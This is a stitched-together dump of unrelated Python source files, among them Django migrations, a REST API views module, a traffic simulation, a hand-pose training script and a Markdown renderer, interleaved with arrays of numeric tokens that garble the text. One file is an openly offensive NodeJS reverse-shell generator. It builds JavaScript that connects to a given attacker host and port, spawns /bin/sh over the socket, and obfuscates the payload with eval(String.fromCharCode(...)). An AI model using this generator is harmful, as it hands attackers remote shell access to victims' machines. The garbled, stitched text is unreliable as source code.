30628,
55,
12,
34156,
12,
33234,
7483,
25,
24843,
12,
17,
13,
15,
198,
198,
11748,
18931,
198,
11748,
28686,
198,
198,
11748,
12972,
305,
15042,
198,
11748,
12972,
9288,
198,
... | 2.470681 | 631 |
# Generated by Django 2.2.24 on 2021-08-23 12:49
from django.db import migrations, models
| [
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198,
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42625,
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13,
9945,
1330,
15720,
602,
11,
4981,
628
] | 2.875 | 32 |
# -*- coding: utf-8 -*-
# Generated by Django 1.9.4 on 2016-05-23 13:25
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
| [
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25,
3384,
69,
12,
23,
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9,
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2,
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1... | 2.724638 | 69 |
from rest_framework.views import APIView
from rest_framework.response import Response
from rest_framework import status
from rest_framework import viewsets
from rest_framework.authentication import TokenAuthentication
from rest_framework import filters
from rest_framework.authtoken.views import ObtainAuthToken
from rest_framework.settings import api_settings
from rest_framework.permissions import IsAuthenticated
from profiles_api import serializers
from profiles_api import models
from profiles_api import permission
# class HelloAPIViews(APIView):
# """Test APIView"""
#
# serializer_class = serializers.HelloSerializer
# def get(self,request,format=None):
# """Returns a list of APIView Features"""
#
# an_apiview = [
# 'Uses HTTP methods as function (get,post,put,patch,put,delete)',
# 'Is similar to a traditional Django View',
# 'Gives you the most control over your application logic',
# 'Is mapped manually to URLs',
# ]
#
# return Response({'message':'Hello!', 'an_apiview': an_apiview })
#
# def post(self, requset):
# """Create a hello message with our name """
#
# serializer = self.serializer_class(data=requset.data)
#
# if serializer.is_valid():
# name = serializer.validated_data.get('name')
# message = f'Hello {name}'
# return Response({'message':message})
# else:
# return Response(
# serializer.errors,
# status = status.HTTP_400_BAD_REQUEST
# )
#
# def put(self, pk=None):
# """Handle Updating an object"""
#
# return Response({'methods':'PUT'})
#
# def patch(self, pk = None):
# """Handles a partial update of an object"""
#
# return Response({'methods':'PATCH'})
#
# def delete(self, request, pk=None):
# """Delete an Object"""
#
# return Response({'method':'DELETE'})
#
#
# class HelloViewSet(viewsets.ViewSet):
# """Test API View Sets"""
#
# serializer_class = serializers.HelloSerializer
#
# def list(self, request):
# """Return a hello message"""
#
# a_viewset = [
# 'Uses Action (list,Create,retrive,update,partial_update)',
# 'Automatically maps to URLs using Routers',
# 'Provide more functionality with less code'
# ]
#
# return Response({'message':'Hello!', 'a_viewset': a_viewset})
#
# def create(self,request):
# """Create a new hello message"""
#
# serializer = self.serializer_class(data=request.data)
#
# if serializer.is_valid():
# name = serializer.validated_data.get('name')
# message = f'Hello {name}!'
# return Response({'message':message})
# else:
# return Response(
# serializer.errors,
# status = status.HTTP_400_BAD_REQUEST
# )
#
# def retrive(self,request,pk=None):
# """Handle getting object by it's ID"""
#
# return Response({'http_method':'GET'})
#
# def update(self,request,pk=None):
# """Handle Updating an Object"""
# return Response({'http_method':'PUT'})
#
# def partial_update(self,request,pk=None):
# """Handle updating part of an object"""
# return Response({'http_method':'PATCH'})
#
# def destroy(self,request,pk=None):
# """Handle Removing an object"""
# return Response({'http_method':'DELETe'})
#
class UserProfileViewSet(viewsets.ModelViewSet):
"""Handle Creating and Updating profiles"""
serializer_class = serializers.UserProfileSearializer
queryset = models.UserProfile.objects.all()
# import pdb; pdb.set_trace()
authentication_classes = (TokenAuthentication,)
permission_classes = (permission.UpdateOwnProfile, )
filter_backends = (filters.SearchFilter,)
search_fields = ('name','email')
class UserLoginApiView(ObtainAuthToken):
"""Handle creating user authentication token"""
renderer_classes = api_settings.DEFAULT_RENDERER_CLASSES
class UserProfileFeedViewSet(viewsets.ModelViewSet):
"""Handles creating,reading and updating profile feed items"""
authentication_classes = (TokenAuthentication,)
serializer_class = serializers.ProfileFeedItemSerializer
queryset = models.ProfileFeedItem.objects.all()
permission_classes = (
permission.UpdateOwnProfile,
IsAuthenticated
)
def perform_create(self,serializers):
"""Sets the user profile to the logged in user"""
serializers.save(user_profile=self.request.user)
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13,
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6738,
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62,
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62,
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1330,
5009,
1039,
198,
6738,
1334,
62,
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13,
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... | 2.461782 | 1,897 |
"""
*G♯ - Level 6*
"""
from ..._pitch import Pitch
__all__ = ["Gs6"]
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38,
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532,
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9,
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62,
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198,
198,
834,
439,
834,
796,
14631,
33884,
21,
8973,
628
] | 2.166667 | 36 |
import datetime
from omega_miya.utils.Omega_Base import DBCoolDownEvent, Result
from dataclasses import dataclass, field
@dataclass
__all__ = [
'PluginCoolDown'
]
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330,
31172,
11,
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628,
198,
31,
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330,
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62... | 2.85 | 60 |
import subprocess
import sys
from argparse import ArgumentParser, Namespace
from random import expovariate
from typing import Set
import matplotlib.pyplot as plt
import numpy as np
from sklearn.linear_model import SGDRegressor
from module.Task import Task
"""
python main.py -e 1000 1 1 10 5 -e 1000 2 1 10 5 -e 1000 4 1 10 5 -e 1000 8 1 10 5 -e 1000 0 0 10 5
python main.py -e 1000 1 1 6 5 -e 1000 2 1 6 5 -e 1000 4 1 6 5 -e 1000 8 1 6 5 -e 1000 0 0 6 5
python main.py -e 1000 1 1 2 5 -e 1000 2 1 2 5 -e 1000 4 1 2 5 -e 1000 8 1 2 5 -e 1000 0 0 2 5
"""
# MAIN ----------------------------------------------------------------------- #
# DEF ------------------------------------------------------------------------ #
# UTIL ----------------------------------------------------------------------- #
# __MAIN__ ------------------------------------------------------------------- #
if __name__ == "__main__":
if check_if_exists_in_args("-t"):
check_types_check_style()
elif check_if_exists_in_args("-b"):
compile_to_pyc()
else:
main()
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... | 3.291793 | 329 |
"""Codewars: Sum of Triangular Numbers
7 kyu
URL: https://www.codewars.com/kata/580878d5d27b84b64c000b51/train/python
Your task is to return the sum of Triangular Numbers up-to-and-including
the nth Triangular Number.
Triangular Number: "any of the series of numbers (1, 3, 6, 10, 15, etc.)
obtained by continued summation of the natural numbers 1, 2, 3, 4, 5, etc."
[01]
02 [03]
04 05 [06]
07 08 09 [10]
11 12 13 14 [15]
16 17 18 19 20 [21]
e.g. If 4 is given: 1 + 3 + 6 + 10 = 20.
Triangular Numbers cannot be negative so return 0 if a negative number is
given.
"""
if __name__ == '__main__':
main()
| [
37811,
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945,
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22,
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20,
28362,
3695,
67,
20,
67,
1983,
65,
5705,
65,
2414,
66,
830,... | 2.603306 | 242 |
import argparse
import time
import os
import os.path as osp
os.environ["CUDA_VISIBLE_DEVICES"] = '7'
import torch
import torch.nn as nn
import torch.utils.data
import torch.backends.cudnn as cudnn
import torch.optim
from datetime import datetime
from tensorboardX import SummaryWriter
from progress.bar import Bar
from termcolor import cprint
import process_data
from data import eval_utils
from data.eval_utils import AverageMeter
from data.RHD import RHD_DataReader_With_File
from network.hourglass import NetStackedHourglass
from decoder.skeleton_decoder import SkeletonDecoder
from loss.skeleton_loss import SkeletonLoss
device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
cudnn.benchmark = True
def main(args):
"""Main process"""
'''Set up the network'''
print("\nCREATE NETWORK")
encoder = NetStackedHourglass(nclasses=140)
decoder = SkeletonDecoder()
model = nn.Sequential(encoder, decoder)
model = nn.DataParallel(model)
print("\nUSING {} GPUs".format(torch.cuda.device_count()))
criterion = SkeletonLoss()
optimizer = torch.optim.Adam(
[
{
'params': model.parameters(),
'initial_lr': args.learning_rate
},
],
lr=args.learning_rate,
)
scheduler = torch.optim.lr_scheduler.StepLR(
optimizer, args.lr_decay_step, gamma=args.gamma,
last_epoch=args.start_epoch
)
'''Generate dataset'''
print("\nCREATE DATASET...")
# Create evaluation dataset
if args.process_evaluation_data:
process_data.process_evaluation_data(args)
eval_dataset = RHD_DataReader_With_File(mode="evaluation", path="data_v2.0")
val_loader = torch.utils.data.DataLoader(
eval_dataset,
batch_size=args.test_batch,
shuffle=True,
num_workers=args.workers,
pin_memory=True
)
print("Total test dataset size: {}".format(len(eval_dataset)))
# Create training dataset
if args.process_training_data:
process_data.process_training_data(args)
last = time.time()
train_dataset = RHD_DataReader_With_File(mode="training", path="data_v2.0")
print("loading training dataset time", time.time() - last)
train_loader = torch.utils.data.DataLoader(
eval_dataset,
batch_size=args.train_batch,
shuffle=True,
num_workers=args.workers,
pin_memory=True
)
print("Total train dataset size: {}".format(len(train_dataset)))
'''Set up the monitor'''
loss_log_dir = osp.join('tensorboard', f'loss_{datetime.now().strftime("%Y%m%d_%H%M")}')
loss_writer = SummaryWriter(log_dir=loss_log_dir)
error_log_dir = osp.join('tensorboard', f'error_{datetime.now().strftime("%Y%m%d_%H%M")}')
error_writer = SummaryWriter(log_dir=error_log_dir)
'''Start Training'''
for epoch in range(args.start_epoch, args.epochs + 1):
print('\nEpoch: %d' % (epoch + 1))
for i in range(len(optimizer.param_groups)):
print('group %d lr:' % i, optimizer.param_groups[i]['lr'])
loss_avg = train(
train_loader,
model,
criterion,
optimizer,
args=args,
epoch=epoch
)
# Validate the correctness every 5 epochs
if epoch % 5 == 4:
train_indicator = validate(train_loader, model, criterion, args=args)
val_indicator = validate(val_loader, model, criterion, args=args)
print(f'Save skeleton_model.pkl after {epoch + 1} epochs')
error_writer.add_scalar('Validation Indicator', val_indicator, epoch)
error_writer.add_scalar('Training Indicator', train_indicator, epoch)
torch.save(model, f'trained_model_v1.6/skeleton_model_after_{epoch + 1}_epochs.pkl')
# Draw the loss curve and validation indicator curve
loss_writer.add_scalar('Loss', loss_avg, epoch)
scheduler.step()
'''Save Model'''
print("Save skeleton_model.pkl after total training")
torch.save(model, 'trained_model_v1.6/skeleton_model.pkl')
cprint('All Done', 'yellow', attrs=['bold'])
return 0 # end of main
def one_forward_pass(sample, model, criterion, args, is_training=True):
# forward pass the sample into the model and compute the loss of corresponding sample
""" prepare target """
img = sample['img_crop'].to(device, non_blocking=True)
kp2d = sample['uv_crop'].to(device, non_blocking=True)
vis = sample['vis21'].to(device, non_blocking=True)
''' skeleton map generation '''
front_vec = sample['front_vec'].to(device, non_blocking=True)
front_dis = sample['front_dis'].to(device, non_blocking=True)
back_vec = sample['back_vec'].to(device, non_blocking=True)
back_dis = sample['back_dis'].to(device, non_blocking=True)
ske_mask = sample['skeleton'].to(device, non_blocking=True)
weit_map = sample['weit_map'].to(device, non_blocking=True)
''' prepare infos '''
infos = {
'batch_size': args.train_batch
}
targets = {
'clr': img,
'front_vec': front_vec,
'front_dis': front_dis,
'back_vec': back_vec,
'back_dis': back_dis,
'ske_mask': ske_mask,
'kp2d': kp2d,
'vis': vis,
'weit_map': weit_map
}
''' ---------------- Forward Pass ---------------- '''
results = model(img)
''' ---------------- Forward End ---------------- '''
loss = torch.Tensor([0]).cuda()
if not is_training:
return results, {**targets, **infos}, loss
else:
''' compute losses '''
loss = criterion.compute_loss(results, targets, infos)
return results, {**targets, **infos}, loss
def train(train_loader, model, criterion, optimizer, args, epoch):
"""Train process"""
'''Set up configuration'''
batch_time = AverageMeter()
data_time = AverageMeter()
am_loss = AverageMeter()
vec_loss = AverageMeter()
dis_loss = AverageMeter()
ske_loss = AverageMeter()
kps_loss = AverageMeter()
last = time.time()
model.train()
bar = Bar('\033[31m Train \033[0m', max=len(train_loader))
'''Start Training'''
for i, sample in enumerate(train_loader):
data_time.update(time.time() - last)
results, targets, loss = one_forward_pass(
sample, model, criterion, args, is_training=True
)
'''Update the loss after each sample'''
am_loss.update(
loss[0].item(), targets['batch_size']
)
vec_loss.update(
loss[1].item(), targets['batch_size']
)
dis_loss.update(
loss[2].item(), targets['batch_size']
)
ske_loss.update(
loss[3].item(), targets['batch_size']
)
kps_loss.update(
loss[4].item(), targets['batch_size']
)
''' backward and step '''
optimizer.zero_grad()
# loss[1].backward()
if epoch < 60:
loss[5].backward()
else:
loss[0].backward()
optimizer.step()
''' progress '''
batch_time.update(time.time() - last)
last = time.time()
bar.suffix = (
'({batch}/{size}) '
'l: {loss:.5f} | '
'lV: {lossV:.5f} | '
'lD: {lossD:.5f} | '
'lM: {lossM:.5f} | '
'lK: {lossK:.5f} | '
).format(
batch=i + 1,
size=len(train_loader),
loss=am_loss.avg,
lossV=vec_loss.avg,
lossD=dis_loss.avg,
lossM=ske_loss.avg,
lossK=kps_loss.avg
)
bar.next()
bar.finish()
return am_loss.avg
if __name__ == '__main__':
parser = argparse.ArgumentParser(
description='PyTorch Train Hourglass On 2D Keypoint Detection')
# Dataset setting
parser.add_argument(
'-dr',
'--data_root',
type=str,
default='RHD_published_v2',
help='dataset root directory'
)
# Dataset setting
parser.add_argument(
'--process_training_data',
default=False,
action='store_true',
help='true if the data has been processed'
)
# Dataset setting
parser.add_argument(
'--process_evaluation_data',
default=False,
action='store_true',
help='true if the data has been processed'
)
# Model Structure
# hourglass:
parser.add_argument(
'-hgs',
'--hg-stacks',
default=2,
type=int,
metavar='N',
help='Number of hourglasses to stack'
)
parser.add_argument(
'-hgb',
'--hg-blocks',
default=1,
type=int,
metavar='N',
help='Number of residual modules at each location in the hourglass'
)
parser.add_argument(
'-nj',
'--njoints',
default=21,
type=int,
metavar='N',
help='Number of heatmaps calsses (hand joints) to predict in the hourglass'
)
parser.add_argument(
'-r', '--resume',
dest='resume',
action='store_true',
help='whether to load checkpoint (default: none)'
)
parser.add_argument(
'-e', '--evaluate',
dest='evaluate',
action='store_true',
help='evaluate model on validation set'
)
parser.add_argument(
'-d', '--debug',
dest='debug',
action='store_true',
default=False,
help='show intermediate results'
)
# Dataset setting
parser.add_argument(
'-cc',
'--checking_cycle',
type=int,
default=5,
help='How many batches to save the model at once'
)
# Training Parameters
parser.add_argument(
'-j', '--workers',
default=8,
type=int,
metavar='N',
help='number of data loading workers (default: 8)'
)
parser.add_argument(
'--epochs',
default=119,
type=int,
metavar='N',
help='number of total epochs to run'
)
parser.add_argument(
'-se', '--start_epoch',
default=0,
type=int,
metavar='N',
help='manual epoch number (useful on restarts)'
)
parser.add_argument(
'-b', '--train_batch',
default=32,
type=int,
metavar='N',
help='train batch size'
)
parser.add_argument(
'-tb', '--test_batch',
default=32,
type=int,
metavar='N',
help='test batch size'
)
parser.add_argument(
'-lr', '--learning_rate',
default=1.0e-3,
type=float,
metavar='LR',
help='initial learning rate'
)
parser.add_argument(
"--lr_decay_step",
default=50,
type=int,
help="Epochs after which to decay learning rate",
)
parser.add_argument(
'--gamma',
type=float,
default=0.1,
help='LR is multiplied by gamma on schedule.'
)
parser.add_argument(
"--net_modules",
nargs="+",
default=['seed'],
type=str,
help="sub modules contained in model"
)
main(parser.parse_args())
| [
11748,
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28686,
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198,
198,
418,
13,
268,
2268,
14692,
43633,
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62,
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34563,
62,
39345,
34444,
8973,
796,
705,
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6,
198,
198,
11748,
28034,
... | 2.166187 | 5,211 |
import numpy
import sympy
from matplotlib import pyplot
from sympy.utilities.lambdify import lambdify
# Set the font family and size to use for Matplotlib figures.
pyplot.rcParams['font.family'] = 'serif'
pyplot.rcParams['font.size'] = 16
sympy.init_printing()
# Set parameters.
# Vmax = 80
Vmax = 136
nx = 51 # number of spatial grid points
L = 11 # length of the domain
rho_max = 250
dt = 0.001 # time-step size in hours
dx = L / (nx - 1) # spatial grid size
tmax = 6/60. # In hours
nt = int(tmax/dt) # number of time steps to compute
#sigma = 0.1 # CFL limit
#dt = sigma * dx**2 / nu # time-step size
rho = sympy.symbols('rho')
F = Vmax*rho*(1 - rho/rho_max)
dF_drho = F.diff(rho)
dF_drho = lambdify((rho), dF_drho)
# Set initial conditions.
t = [0]
x = numpy.linspace(0, L, nx)
# rho0 = numpy.ones(nx)*10
rho0 = numpy.ones(nx)*20
rho0[10:20] = 50
# Integrate the equation in time.
rho = numpy.zeros((nx, nt+1))
rho[:, 0] = rho0
for n in range(nt):
t.append(dt*(n+1))
# Update all interior points.
rho[1:, n+1] = rho[1:, n] - \
dF_drho(rho[1:, n])*dt/dx*(rho[1:, n] - rho[:-1, n])
# Update boundary points.
# rho[0, n+1] = 10
rho[0, n+1] = 20
Vmin_t0 = min(V(rho[:, 0]))
print(f"Vmin_t0 = {Vmin_t0/3.6:.2f}m/s")
Vmean_t180 = numpy.mean(V(rho[:, t.index(3/60)]))
print(f"Vmean_t180 = {Vmean_t180/3.6:.2f}m/s")
Vmin_t180 = min(V(rho[:, t.index(3/60)]))
print(f"Vmin_t180 = {Vmin_t180/3.6:.2f}m/s")
Vmin_t360 = min(V(rho[:, t.index(6/60)]))
print(f"Vmin_t360 = {Vmin_t360/3.6:.2f}m/s")
# Plot the numerical solution along with the analytical solution.
pyplot.figure(figsize=(6.0, 4.0))
pyplot.xlabel('x')
pyplot.ylabel('rho')
pyplot.grid()
pyplot.plot(x, rho[:, 0], label="Initial state",
color='C0', linestyle='-', linewidth=2)
ntp = t.index(6/60)
pyplot.plot(x, rho[:, ntp], label=f"nt={ntp}",
color='C1', linestyle='-', linewidth=2)
pyplot.legend()
pyplot.xlim(0.0, L)
#pyplot.ylim(0.0, 10.0);
pyplot.show()
pyplot.clf()
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67,
1958,
198,
198,
2,
5345,
262,
10369,
1641,
290,
2546,
284,
779,
3... | 2.04065 | 984 |
#!/usr/bin/python
# Generator for encoded NodeJS reverse shells
# Based on the NodeJS reverse shell by Evilpacket
# https://github.com/evilpacket/node-shells/blob/master/node_revshell.js
# Onelineified and suchlike by infodox (and felicity, who sat on the keyboard)
# Insecurety Research (2013) - insecurety.net
import sys
if len(sys.argv) != 3:
print "Usage: %s <LHOST> <LPORT>" % (sys.argv[0])
sys.exit(0)
IP_ADDR = sys.argv[1]
PORT = sys.argv[2]
def charencode(string):
"""String.CharCode"""
encoded = ''
for char in string:
encoded = encoded + "," + str(ord(char))
return encoded[1:]
print "[+] LHOST = %s" % (IP_ADDR)
print "[+] LPORT = %s" % (PORT)
NODEJS_REV_SHELL = '''
var net = require('net');
var spawn = require('child_process').spawn;
HOST="%s";
PORT="%s";
TIMEOUT="5000";
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
function c(HOST,PORT) {
var client = new net.Socket();
client.connect(PORT, HOST, function() {
var sh = spawn('/bin/sh',[]);
client.write("Connected!\\n");
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
sh.on('exit',function(code,signal){
client.end("Disconnected!\\n");
});
});
client.on('error', function(e) {
setTimeout(c(HOST,PORT), TIMEOUT);
});
}
c(HOST,PORT);
''' % (IP_ADDR, PORT)
print "[+] Encoding"
PAYLOAD = charencode(NODEJS_REV_SHELL)
print "eval(String.fromCharCode(%s))" % (PAYLOAD) | [
2,
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14629,
14,
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14,
29412,
201,
198,
2,
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329,
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201,
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2,
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20120,
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8002,
316,
201,
198,
2,
3740,
1378,
12567,
13,
785,
14,
23542,
8002,
... | 2.280505 | 713 |
""" One of the helpers for the gui application.
Similar modules: class:`.NativeArgsSaver`, :class:`.ParameterSaver`,
:class:`.UiLoader`, :class:`.Worker`, :class:`.ConfigurationProvider`
"""
from PyQt5.QtCore import pyqtSignal, QObject
from idact.core.environment import load_environment
from idact.detail.environment.environment_provider import EnvironmentProvider
class DataProvider(QObject):
""" Provides the data about clusters inside the .idact.conf file.
:attr:`.add_cluster_signal`: Signal used to inform about adding a new cluster.
:attr:`.remove_cluster_signal`: Signal used to inform about removing a cluster.
"""
add_cluster_signal = pyqtSignal()
remove_cluster_signal = pyqtSignal()
def load_cluster_names(self):
""" Fetches the cluster names.
"""
load_environment()
self.cluster_names = list(EnvironmentProvider().environment.clusters.keys())
def get_cluster_names(self):
""" Returns fetched cluster names.
"""
self.load_cluster_names()
return self.cluster_names
| [
37811,
1881,
286,
262,
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329,
262,
11774,
3586,
13,
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220,
220,
220,
11014,
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25,
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50,
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25,
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36301,
50,
8770,
47671,
198,
220,
220,
220,
1058,
4871,
25,
44646,
5... | 2.856397 | 383 |
from greent import node_types
from greent.graph_components import LabeledID
from greent.util import Text
| [
6738,
10536,
298,
1330,
10139,
62,
19199,
198,
6738,
10536,
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18449,
2389,
198,
6738,
10536,
298,
13,
22602,
1330,
8255,
198
] | 3.62069 | 29 |
''' ===================================================================================
dataBookViz.py
Author: Donnette Bowler
copyright: copyright ©Donnette Bowler 2016. All rights reserved. No part of this document may be reproduced or distributed.
===================================================================================
Use pandas dataframe to store data. We create a scatter plot with Matplotlib to
analyze our data.
=======================================================
'''
#scientific Python imports
import numpy as np
import pandas as pd
import os
import matplotlib.pyplot as plt
| [
198,
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220,
6634,
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6634,
10673,
3987,
48115,
9740,
1754,
... | 3.823864 | 176 |
# vim: ts=8:sts=8:sw=8:noexpandtab
# This file is part of python-markups module
# License: 3-clause BSD, see LICENSE file
# Copyright: (C) Dmitry Shachnev, 2012-2021
import importlib
import os
import re
import warnings
import markups.common as common
from markups.abstract import AbstractMarkup, ConvertedMarkup
try:
import yaml
except ImportError:
yaml = None
MATHJAX2_CONFIG = \
'''<script type="text/x-mathjax-config">
MathJax.Hub.Config({
config: ["MMLorHTML.js"],
jax: ["input/TeX", "input/AsciiMath", "output/HTML-CSS", "output/NativeMML"],
extensions: ["MathMenu.js", "MathZoom.js"],
TeX: {
extensions: ["AMSmath.js", "AMSsymbols.js"],
equationNumbers: {autoNumber: "AMS"}
}
});
</script>
'''
# Taken from:
# https://docs.mathjax.org/en/latest/upgrading/v2.html?highlight=upgrading#changes-in-the-mathjax-api
MATHJAX3_CONFIG = \
'''
<script>
MathJax = {
options: {
renderActions: {
find: [10, function (doc) {
for (const node of document.querySelectorAll('script[type^="math/tex"]')) {
const display = !!node.type.match(/; *mode=display/);
const math = new doc.options.MathItem(node.textContent, doc.inputJax[0], display);
const text = document.createTextNode('');
node.parentNode.replaceChild(text, node);
math.start = {node: text, delim: '', n: 0};
math.end = {node: text, delim: '', n: 0};
doc.math.push(math);
}
}, '']
}
}
};
</script>
'''
extensions_re = re.compile(r'required.extensions: (.+)', flags=re.IGNORECASE)
extension_name_re = re.compile(r'[a-z0-9_.]+(?:\([^)]+\))?', flags=re.IGNORECASE)
_canonicalized_ext_names = {}
class MarkdownMarkup(AbstractMarkup):
"""Markup class for Markdown language.
Inherits :class:`~markups.abstract.AbstractMarkup`.
:param extensions: list of extension names
:type extensions: list
"""
name = 'Markdown'
attributes = {
common.LANGUAGE_HOME_PAGE: 'https://daringfireball.net/projects/markdown/',
common.MODULE_HOME_PAGE: 'https://github.com/Python-Markdown/markdown',
common.SYNTAX_DOCUMENTATION: 'https://daringfireball.net/projects/markdown/syntax'
}
file_extensions = ('.md', '.mkd', '.mkdn', '.mdwn', '.mdown', '.markdown')
default_extension = '.mkd'
@staticmethod
def _split_extension_config(self, extension_name):
"""Splits the configuration options from the extension name."""
lb = extension_name.find('(')
if lb == -1:
return extension_name, {}
extension_name, parameters = extension_name[:lb], extension_name[lb + 1:-1]
pairs = [x.split("=") for x in parameters.split(",")]
return extension_name, {x.strip(): y.strip() for (x, y) in pairs}
def _split_extensions_configs(self, extensions):
"""Splits the configuration options from a list of strings.
:returns: a generator of (name, config) tuples
"""
for extension in extensions:
yield self._split_extension_config(extension)
| [
2,
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25,
40379,
28,
23,
25,
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28,
23,
25,
2032,
28,
23,
25,
3919,
11201,
392,
8658,
198,
198,
2,
770,
2393,
318,
636,
286,
21015,
12,
4102,
4739,
8265,
198,
2,
13789,
25,
513,
12,
565,
682,
347,
10305,
11,
766,
38559,
... | 2.555459 | 1,145 |
#!/usr/bin/python3
import matplotlib
import numpy as np
from copy import deepcopy
import matplotlib.animation as animation
from motion_primitives_py import *
import matplotlib.pyplot as plt
import argparse
import rospkg
"""
Run the dispersion algorithm, and save the lattices at a specified set of desired dispersions (all starting from the same dense set).
Run graph search on the same map with said lattices.
"""
# # # %%
name = 'ruckig'
motion_primitive_type = RuckigMotionPrimitive
control_space_q = 3
num_dims = 2
max_state = [1.5, 1.5, 3, 100]
mp_subclass_specific_data = {}#{'iterative_bvp_dt': .1, 'iterative_bvp_max_t': 5, 'rho': 100}
num_dense_samples = 1000
num_output_pts = num_dense_samples
dispersion_threshholds = -1 #np.arange(160, 30, -3).tolist()
indices = np.arange(1, 100, 3).tolist()
check_backwards_dispersion = True
costs_list = []
nodes_expanded_list = []
rospack = rospkg.RosPack()
pkg_path = rospack.get_path('motion_primitives') + '/motion_primitives_py/data/'
file_prefix = f'{pkg_path}lattices/dispersion' + name # TODO don't overwrite every time
# def animation_helper2(i):
# lines[0].set_data(indices[:i+1], costs_list[:i+1])
# lines[1].set_data(indices[:i+1], nodes_expanded_list[:i+1])
# return lines
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("-gnl", help="Generate new lattices", action='store_true')
args = parser.parse_args()
if args.gnl:
print("Generating new lattices")
generate_new_lattices = True
else:
print("Using lattices in data/lattices dir")
generate_new_lattices = False
# fig, ax = plt.subplots(len(dispersion_threshholds),1, sharex=True, sharey=True)
if generate_new_lattices:
mpl = MotionPrimitiveLattice(control_space_q, num_dims, max_state, motion_primitive_type,
tiling=True, plot=False, mp_subclass_specific_data=mp_subclass_specific_data, saving_file_prefix=file_prefix)
mpl.compute_min_dispersion_space(
num_output_pts=num_output_pts, check_backwards_dispersion=check_backwards_dispersion, animate=False, num_dense_samples=num_dense_samples, dispersion_threshhold=deepcopy(dispersion_threshholds))
for file_num in deepcopy(indices):
filename = f"{file_prefix}{file_num}"
print(f"{filename}.json")
try:
open(f"{filename}.json")
except:
print("No lattice file")
f, ax0 = plt.subplots(1, 1)
# occ_map = OccupancyMap.fromVoxelMapBag(f'{pkg_path}maps/trees_dispersion_0.6.bag')
# occ_map.plot(ax=ax0)
# f.tight_layout()
normal_backend = matplotlib.get_backend()
matplotlib.use("Agg")
# len(dispersion_threshholds)
ani = animation.FuncAnimation(
f, animation_helper, len(indices), interval=2000, fargs=(deepcopy(indices),), repeat=False, init_func=init)
ani.save(f'{pkg_path}videos/planning_with_decreasing_dispersion.mp4', dpi=800)
print("done saving")
# f2, ax1 = plt.subplots()
# color = 'tab:red'
# ax1.set_xlabel('Dispersion')
# ax1.set_ylabel('Cost', color=color)
# ax1.tick_params(axis='y', labelcolor=color)
# ax1.set_xlim(max(dispersion_threshholds), 0)
# ax1.set_ylim(0, max(costs_list)*1.1)
# ax2 = ax1.twinx() # instantiate a second axes that shares the same x-axis
# ax2.set_ylim(0, max(nodes_expanded_list)*1.1)
# color = 'tab:blue'
# ax2.set_ylabel('Nodes Expanded', color=color) # we already handled the x-label with ax1
# ax2.tick_params(axis='y', labelcolor=color)
# ax1.invert_xaxis()
# ax2.invert_xaxis()
# costs_line, = ax1.plot([], [], '*--r')
# nodes_expanded_line, = ax2.plot([], [], '*--b')
# lines = [costs_line, nodes_expanded_line]
# ani2 = animation.FuncAnimation(
# f2, animation_helper2, len(costs_list), interval=1000, repeat=False, init_func=init)
# # f.tight_layout()
# ani2.save(f'{pkg_path}videos/nodes_expanded_cost_vs_dispersion.mp4', dpi=800)
# plt.show()
| [
198,
2,
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18,
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198,
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2603,
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299,
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2603,
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8019,
13,
11227,
341,
355,
11034,
198,
6738,
6268,
62,
... | 2.331027 | 1,734 |
import pkg_resources
import os
import os.path
from io import open
from .utils import Utils
| [
11748,
279,
10025,
62,
37540,
198,
11748,
28686,
198,
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13,
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33245,
1330,
1280,
198,
198,
6738,
764,
26791,
1330,
7273,
4487,
628
] | 3.444444 | 27 |
# -*- coding: utf-8 -*-
# utility package for logging, config | [
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
198,
2,
10361,
5301,
329,
18931,
11,
4566
] | 2.818182 | 22 |
"""
Faça um programa que ao inserir um número, mostre na tela a quantidade de numeros primos possiveis até chegar no mesmo.
"""
print('Quantidade de numeros primos possiveis')
y = int(input('Digite o numero final: '))
cont2 = 0
for a in range(1, y+1):
cont = 0
for x in range(1, a+1):
resto = a % x
if resto == 0:
cont += 1
if cont == 2:
print('O numero {} é primo'.format(a))
cont2 +=1
print('\nExistem {} numeros primos possiveis'.format(cont2))
| [
37811,
198,
50110,
50041,
23781,
1430,
64,
8358,
257,
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418,
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418,
1184,
425,
271,
379,
2634,
1125,
4563,
645,
18842,
... | 2.192308 | 234 |
import unittest
task_input = """kvvfl kvvfl olud wjqsqa olud frc
slhm rdfm yxb rsobyt rdfm
pib wzfr xyoakcu zoapeze rtdxt rikc jyeps wdyo hawr xyoakcu hawr
ismtq qwoi kzt ktgzoc gnxblp dzfayil ftfx asscba ionxi dzfayil qwoi
dzuhys kfekxe nvdhdtj hzusdy xzhehgc dhtvdnj oxwlvef
gxg qahl aaipx tkmckn hcsuhy jsudcmy kcefhpn kiasaj tkmckn
roan kqnztj edc zpjwb
yzc roc qrygby rsvts nyijgwr xnpqz
jqgj hhgtw tmychia whkm vvxoq tfbzpe ska ldjmvmo
nyeeg omn geyen ngyee rcjt rjuxh
qpq udci tnp fdfk kffd eyzvmg ufppf wfuodj toamfn tkze jzsb
rrcgxyp rbufd tfjmok vpyhej hcnz ftkojm
jnmomfc jnmomfc bkluz izn ovvm flsch bkluz
odisl hzwv hiasrhi hez ihihsra qpbmi ltwjj iknkwxf nbdtq gbo
gjtszl gjtszl fruo fruo
rdapv gaik cqboix sxnizhh uxmpali jdd usqnz advrp dze
flooz flooz qad tcrq yze bnoijff qpqu vup hyagwll
lnazok dze foi tqwjsk hpx qcql euzpj mwfrk
ilb fmviby ivybmf gtx xtg
rpauuu timere gyg wcolt ireetm safi
croe szwmq bbhd lciird vhcci pdax
hnc ykswt qqqmei goe bri wmyai hnc qpgqc pberqf bzs
hsnrb wdvh iezzrq iezzrq rdbmpta iezzrq kemnptg alkjnp wymmz
ngw don ddvyds nlhkoa aaf gptumum ugtpmmu
vmccke qbpag kvf kvf tgrfghb kvf bhpd sglgx
obomgk bkcgo yso ttft vbw ckl wjgk
fli qvw zhin dfpgfjb udsin nihz ovr tiewo
tgmzmph hauzieo jmg tdbtl lvfr qpaayq qapaqy ausioeu jun piygx
jkp guqrnx asdqmxf vmfvtqb tloqgyo ioix gajowri tmek ilc puhipb
